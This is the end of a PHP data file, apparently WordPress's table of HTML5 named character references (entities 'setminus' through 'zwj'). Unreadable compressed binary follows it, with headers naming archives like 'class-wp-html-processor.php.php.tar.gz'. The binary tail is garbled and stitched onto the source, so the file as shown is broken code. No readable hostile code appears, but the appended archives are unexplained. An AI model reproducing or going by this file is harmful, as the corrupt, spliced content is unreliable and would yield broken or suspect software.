			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
			"\x02r;\x04𝔶",
			// yicy;[ї].
			"\x03cy;\x02ї",
			// yopf;[𝕪].
			"\x03pf;\x04𝕪",
			// yscr;[𝓎].
			"\x03cr;\x04𝓎",
			// yucy;[ю] yuml;[ÿ] yuml[ÿ].
			"\x03cy;\x02ю\x03ml;\x02ÿ\x02ml\x02ÿ",
			// zacute;[ź].
			"\x05cute;\x02ź",
			// zcaron;[ž] zcy;[з].
			"\x05aron;\x02ž\x02y;\x02з",
			// zdot;[ż].
			"\x03ot;\x02ż",
			// zeetrf;[ℨ] zeta;[ζ].
			"\x05etrf;\x03ℨ\x03ta;\x02ζ",
			// zfr;[𝔷].
			"\x02r;\x04𝔷",
			// zhcy;[ж].
			"\x03cy;\x02ж",
			// zigrarr;[⇝].
			"\x06grarr;\x03⇝",
			// zopf;[𝕫].
			"\x03pf;\x04𝕫",
			// zscr;[𝓏].
			"\x03cr;\x04𝓏",
			// zwnj;[‌] zwj;[‍].
			"\x03nj;\x03‌\x02j;\x03‍",
		),
		"small_words" => "GT\x00LT\x00gt\x00lt\x00",
		"small_mappings" => array(
			">",
			"<",
			">",
			"<",
		)
	)
);
PKE�N\s*���2class-wp-html-unsupported-exception.php.php.tar.gznu�[�����Wko�6��W��~5MR [�nE��k����m�H���xC���%����:d DD����s��r��M�lTV�\%���hQ�N�*�n�Q�Q��8
;�vUY�e:�7�,�2zXf���c��m�q\/�G�{�N�������G�4�e��r^X��'b��Wߠ]���a���?��o/ޜ��ń&�O^������R$Wb.������p@/]5���^�>8%�tx<�yԫC�2VF�T9��tI>��TZ�����VV�jWX8���GJ�*��}&<	��k�ɔҊ���붜�*���c`����F���K�E�mO�u"�H�‘7��n(1E�+��/��O'l�J��YH��>M+O�����`'�}0�Uy��:'@o@8X,2	���;Z��.3U����X)�;l�R+-o��3�2�
��_������̵�
{4;P�U��L�8��Z
HĔ�YS����i��)1�j���ر��U����o{������pL?�
M�y�+�Sit��Q�ό���i5�3��Z@[����("�����&��͸\��܎��%�$u�����3���D!���7��W@݈�id�‘
�􃱚56�n4�Q8�_�Y�Dy'�Yp���P僗B,	t��lٲ��[5��>)#����d5��J9���N4W%	LDjb�`�N�$������v�ZXr�Ń�G��x��AHp���U1���.= �����%�|LMR�Ɍ����7�[�kg���?�T�2������
T
*yy�����z��V�=ˊ
a�o��Ҫ�;��""<�Z�P��F>P8��5�m&\�)~�0�`�s*⹏[��Dfƒ�t1i/`����
��V7��s�)�"�P*����G�n?~F"W\�
/�94�T[j28���-�y�!�T�<���W�˯�8NbfNҤ �X>y�-��r���<T$�r��we�&m	R��z�1ֳJ'�	�rD�J��
\6���e}g��D�^��c���]�t�����X�Ρ�[9�k&���*�*+�	)�N	�R�V�v����*������*s�t[??�ȚZw������� �GsW�v@j��d��mOj�k&����V�������l݅Xs��ҧ�͵h�tv��^3aat����ʟ�Bl�Hz޽u�_��9�����Uk�N1ځ\|�}���>�����z���)�PKE�N\�N���)class-wp-html-doctype-info.php.php.tar.gznu�[�����=�r�F��Wz�	�eJ1�d9�Z��8v���$v�����[��8��RbW��v_a�]��'ʓlw�0 @J� ��L"Q������ˉ��G���4���'��;����S_�.^h�i�B�Tn�_z�T�sCٙ��������A�u�����ov��_��^�\����E����������0�m����	�m�����s����~Þ�:�go^��s��1p���9|��)���`od쿊�`_�t`o�6��A���<����񙌅��R%|68g�Xd��D�XL������^���k��$�Q� �z(i�c%T�p"߉H���	�0
C�Ĥ(��U,=X��"�V��y��L"b�%A4b� ��2j&,�3�HરS�<de$�8�Ĕ���T&U#��XNE��p2DF���Hd��
6��?�x�JT6:��3� �s6�e��|xc�
/Qv*�S/I�i0;QS���#:�Wl.����Ę���~vrb��D(�Dƪ�'���q,�J��A(
�oV�ڬ��4�ߩ,�g�0���4�m�P���0�4@�#�Ǿ������è����@?�$V���;�D��&@�S�%+S�Sq�x�� E�GȽ�'ώ��WhDA�U�3�8��1$t�[�h00�87�Є[(O"� +m��8��VF8
,�`TA|�5c��>C��hi�\�D�������Nf���ѩ�|d�Q��X���P��w׸��7��N+[l�9h&���H��,��pb%:|�E�R�y�F�2�a�$�h*�`�bЌ���p4.ή��gj�QW>ɳ�(�.s�o����� k�d���02��b��2֜*��q�L�~��m���a�#�Q�?�u�fP��!U����Z���H�.
l�i'o�c���Թ��K�dԘ� ���,��Z6�$G`=@8��Pi�����G�C��3��IR7�-�I��_�XA��CR�Ƿ=��E��[9p-���q򻂦�h`2�@Y�O�rN�)��ǥ�f��@�0����\!)E��M8;��Dh�������20
R��B�$���e�܂On#�/��8�Ejh<(�k�?���?�D%#��y'P��o
Fwgo��;ȣlH!�K�C?��3��m��B
���Q~���b|���x��b�$i R
�H�����B
���8���Y�(���aH����9W�
�F��c�M��&J@�ݻ���]�?���������/fRe����Na�H��s��]y�P��C�^�nn�s�p8dx�`3gثE�����޾l)0��'�5 >�
�jY���NqE�����=@-�s���ք�����G�2Y�X����S綅�h!4S� G�
D2�ѠC|��͕�a��7s�.�s��F����-!>1���e�����4���篟o��p���9~�ي�H})~�O%��Q����Q֌�+(��3����u�����jʪv���oA�J1�
�Zy��T��Do��N[�6�s#	�}���G��@�S�DL��+�\1s	X�
'?����[�p,��h�qyݵj��#��5D�!`��5�Mi3V48EcCЊ�w�R�}��◲?�ϥ۴Yz)�m֛K$���3Q�]�ܵ��@b��	3��2����B��Dg��`0܊�)�Z��P� %��s�l������PuZ���Z�?H�_;1�lj����P�Y�6����uk8
[����Q�A��NNv�6��(�>�J�ؒ\����N���
�J6X�K:|���ꕩۙ`�a�!0%2�<�afh<:�i.�]]���V.�}/���f�îV�W�Zt4:����#�VcՓ�h/(���1�<�BP����\��J�ZU�D�R"��~�M�O�p2�>--F*<�I>/���ҩ���)�B��Ap����BD�Q���-��|&��M��ċE
��6qx���!�R/΅b������e�3I1h��w(�b���[���������$2�e c��� X:�w�֑MF�U���b�F6)�U�f��I0�#�5v*[\��8>q��Iu���Dg��r,�$�V��^*��R�v
w�'}͓>�䍩�Ws�\�dA0�4���Æ)H��~?S��͍�'�$-[�u
wK�Ż��2���X:ڸ���>*s�PO�?S�f�1rT�8e$�6�q��������P�/���tؘ���ֵ,�M�
I�g)�d��>=�-b�zcQ����PlU	�&�%�*�i�M$��i�׏.Z����L8�Y
��	7��"���[��"�a�'�yS������^>����$�vGn�M�����w)��W��S�]���/s�+��j3t�Y@V�zDc����w<�ll�@��.nd1�.P O�"
�Ø�|=�2n��]�G�cU������K�	Hv:�{HX�ǔ�b�1��P��У��.��PC:�Ne��Ks�H����<������	�+%��R������FeΚ��\,8g���@'<�(_/`�
�TYyR�;W�%�I���,P떦i
֒Q�9s����@�m�s�J��#����kVY�'��d���D��mU=�}P��i�VMSa��֤�����/?���è{�v�;ߕݮ��l��+1�9w;�nWD�ns5>|00�A��:=v�D	���"��.=�n[�)�RZ��K�v�m0��]�'�ݝ��t��.c�������K,[
J�!��b����1v�l5��[J�xT;�hFq��x�f[t Ke��\m���q���-��/�K�r�@��)nY��&�I�q}��bi+Pb��N��Ҿ9�)`�Ra"@��F�(�T��IV���d�8'�j�_���dK"2�h�l�N+:��,�l����S�Te�Z�y��UAhvs[Q���������No�ɶ��Aŕ�Pn._vc@�Z k�A�g\�a�B���#�Ё}`��Ȑ�G������8���,@�ך��fG�g�tv;���	n�`������ZhT���(�T-�*�^-$��D�o
k�c
��1���ԸB��V�&�^n�����L�����lB�����/=��AO��p3�wo�D�7J���`)�O��0��FʹsM�_Ҩ�Z�Y6c`�	��(%=��R��@�& S4������"!?[s*�z�n�e���׏�Qߧx	_�<f&;�{��>d�z{����|F��bõf����!d+�z'���p_u���[�L!�'�6����������~U��'�

1Q����m�P8�~���3�eX�G�%X�@Q�-�vØO ��\�
x}��D`U4�d��p�2�>z�{p��6�j
�kY�Ʈ��� �؆��Gp�z��r��+���o[.U�s[�����O]Cv*�ZK*�o��/��`(Ѳ�UW�	�p*6ė�ۜ��%;�W��)O5}�j��9�*N^��ER��F�[y]U��b��F�.��u63>��z�#�]\��tg�'��=��Y���w��,ݻ�Uw�e'�+O|�GI����c�����Y��6=Ґ�۳%�X�{a�&z���M�4
&@�I�/2��a�Ƣ��G�g<�����d
�i>ݮ��B}�����wL�#�j�U
�[���Ӥ=d��gf��R��w�h��%;}�*�-""�n��-���x�u�i�����w��o~�>W�K�m.,��U���*���BA����ca�J|�5�����F�Էr�mtԸ	�F�	m�I�ȱ�T��

� T���K����,G����5���p@^��R�.>O���.��D
jzǎ����_��`O2d/����=�L(JN(@]7�۠iH�щ���d3h�]�:���wdKd@ǑGc�>�(`O��E��F���B;�iJ�Z\��RI��}���uw������c2��,�����H���;ؒq������v
m>ԝo��A$t�U�b���D�W��Q�^,4�g�Xv,�ySۃHޅ�K�������6���P�h�d�6�9��{t���t���L�8�;B���r�֖�0MR3��y�ƪ�8|�)G�4�jG
���8��OQ�ʅ����kB��	$����쑉x{�t��F���oAlZ�m�X��AD��M2�r[!�a*P��=¿���`���|�6�V�d�6��6P��d��_gF���p�ph�����X\����W�džEb�b��%4g�k�"D`�5)�!|s��Z^Q��T���um}�V�s�'`���2��h��L��Ef
�lo���Fx:�~.؎�K�^9��t,^�DG:� eo��c
��nfg��IB^a���q��d|}���
�T�O�*;^O%
������P�j���O�u:7��t��e7�Ox�,�/��c|����eo�q��)�%�q���;�����_�m�?�I�V}�H�&Ɯ�v��$eX��\�Ü�mT�85�ﳈ�{�!��G9-����朁�,�8�G#��{c�/��3�ͮe{��d̊Y��D���T�(�g;_���[DH�v<��P
�3
C��P�H���ZI�vE{�{��W�����M�=��*��`o����!)>Y\�\}d�<:���bN��pZ�a�s-�v������-��Ն��?,b��ȵ-�AYɼ�ȼ�?�x��G��6TkZ�SO�"���l�u�\���E�4��`e\�[;�xJ��B��|�y��PC���g��{��#UЛs����h�y&�Z&�n��4?H��n�w��t��,u��:D^�
e���nI#Jg�Tp�[0��S4K�is��t�,7vX̰񫅹�yj.c?�)ͣ�N'��xG��I��e�	ڦ�0�N�t��e�Q�|Q ��j�ٳ�˺ĵ��8���K5��|�#i0���ʅ;3�//F�/�GP��*y1a��E��o$/�g���Ye���9���θ�V�}�Yk�l#͞��c���3z�p*MUqdU�UeV`LpFV߂-�\
�&*��@�����Z�0��Ƃ�s2�-_�5$�L��m�+�I�W��BGγ�W8����_�cX�ՄE���a�2�9ū��$%�a��x�j�j�tp��5���	{!آ�OwY�@j���	:�vGT�n/��%L
�a�"���(�2��E��)��|�.k47n6��wh�fg7�D�ˣ���n����U�_Fp1�/=Q���@⪒Jܭ�>��2ŏkSY,Q��?�Z~2�iK�IomYe%�+g�sQ�v[�v�N]+�������O��uY�S1�_����&�S�W�>%L>y��>�F�'�Ӿ~C�q���������Oy��jPKE�N\حHG�G�&class-wp-html-processor.php.php.tar.gznu�[������v׵(z^��(�:����N6%�"!	��B�vr_�Ɋ�*��5�~�_p�}=�����٭�jU����b2d����k��u2����Ip�5�^�^�:�nƍx�L�Q��4�q���iڀ���$�Ei�L6���Q��~���+�����o�����_|���?>~����˗��r���Y8�!��X���o���o����?�:�A��p��?���:yx���q�{^E�ɤ<������_n$��(
��j�1��u_
��L"�LӨdI�����6��4
�Q?&���~����t��M�I��
r
5��D�J
���7�ְR���t<N&<�^�Q$�A&�|�� za'�:���FA�Ѩ�LGY4����,kN^O�u|(� �Q�3��o�����a���b����±��}�M�����7ф�,ݬ��AD��v�+s��A���>�$����C��Y6�/��c+��7qx�,�J�zǬy�!�w8F�	��rʣ�K��`��Hms�-��_���\��00�(Jq�i�4�L{�t���꧴���ăA�D������$�q��K�&8�>~�P6�ɳэ���m0����$�����ۣ4�d�4,]?8J�ƪgN�����]��+5��B��a�&�
	�t��B�c�^|�ip��Ք?��~jù�D���p��I�hl�>�b3�
q�����2č(�N���up�L�G�iVD@���f���b��%�ݵqa�B��b����M؜N�ycp���r������p8Df9A�@3��Y��mo����$�B����GO��2xhAi쌢��. �C��$�}��:�{���"��v��{��k������줅��^ւG�_��4;a�ߥ�pPc���Xk����#�Cn� [����n�#m�5�\�Q
""���$��$���D��j��Û�:�\�lp��Y��)�zA��%���~(Ha��fA5ϡ\EY��ԇ��D&�DH�y�DV�@
g��ك�K&�~rBwqoPG������2od=�p<�SD[$�p8�F@B�z�d�d����x����w�i�����`Ɔ��)�Q�s4r��0�70lD܇g ��"bV��L�',pD$?�s>/�񹢔7�m��e!��pt�p����8�d���T���{�ի�����8�_3M(�󣽿�3�9�E��t�=B�{Kg�������c|<q5�su���u8�������	)GD��ի�߃�g��E'c��/��'6��LXal�l�	��(1�_�s����P�3(�"���)�|ff���>6$��]�V�Ao�F�c�%L$�'��A$w� (8�,Y@���o��d��6�l1IӘE}��x�J�!�v��,�[�F&6ybP�� �D͟����,b�i<��?@@Aֱ��FÝA�ҧ[�kЇ�q+�nYO���I��V�4�'8�m���1H��<��<���z~�n���n��>:ĿZ��U���c!��Õ� ��-��w8�k�t]�FM�Ȭ�n�S���N�~��V��P��P$ H�xw�Vh5��	�%�4��^��xD�J����Q���<*#G+EH�z��2���RԆ���2���L�D�<�8UT8��2����7�q�ڕ\�@�Sd�)-S$F��k52�{��i��J�"�=�qrFd�T�,삢�JY�$�g+z�Dl�b|B,���Wkq^i����	�ek����d�0�aٱ�7Lp��^+��V&��Z��7Hkq5}�8�~��mtd[I`P��B$�
�@��,��	�M�,��|���,d��Pi?�G�U
���W��+�e��C��u0�<�(��&�+����(Q;�ڄ�`�^�~�`�^Ig�0
��)ޮQ2j��	�,K
�I@Ht���p�Ӏ�/�ABM�c#�I�`�t��`�
RK�0@#�.܍f~O��2�!$�{�>wi�2�{��6�=8�<X��K
�1ы��B`���?�����@O��%Ɲ��8�ݑeўN�d�IC��TJ(��En�>+�Vyl��GrX2f;�i�0�2�	MΟ�w@�����|��5A�� \Kݗ��[�8�5���xG�9�!{�LA��l ҄ᕆ�lk���B��~�޶�l�LO
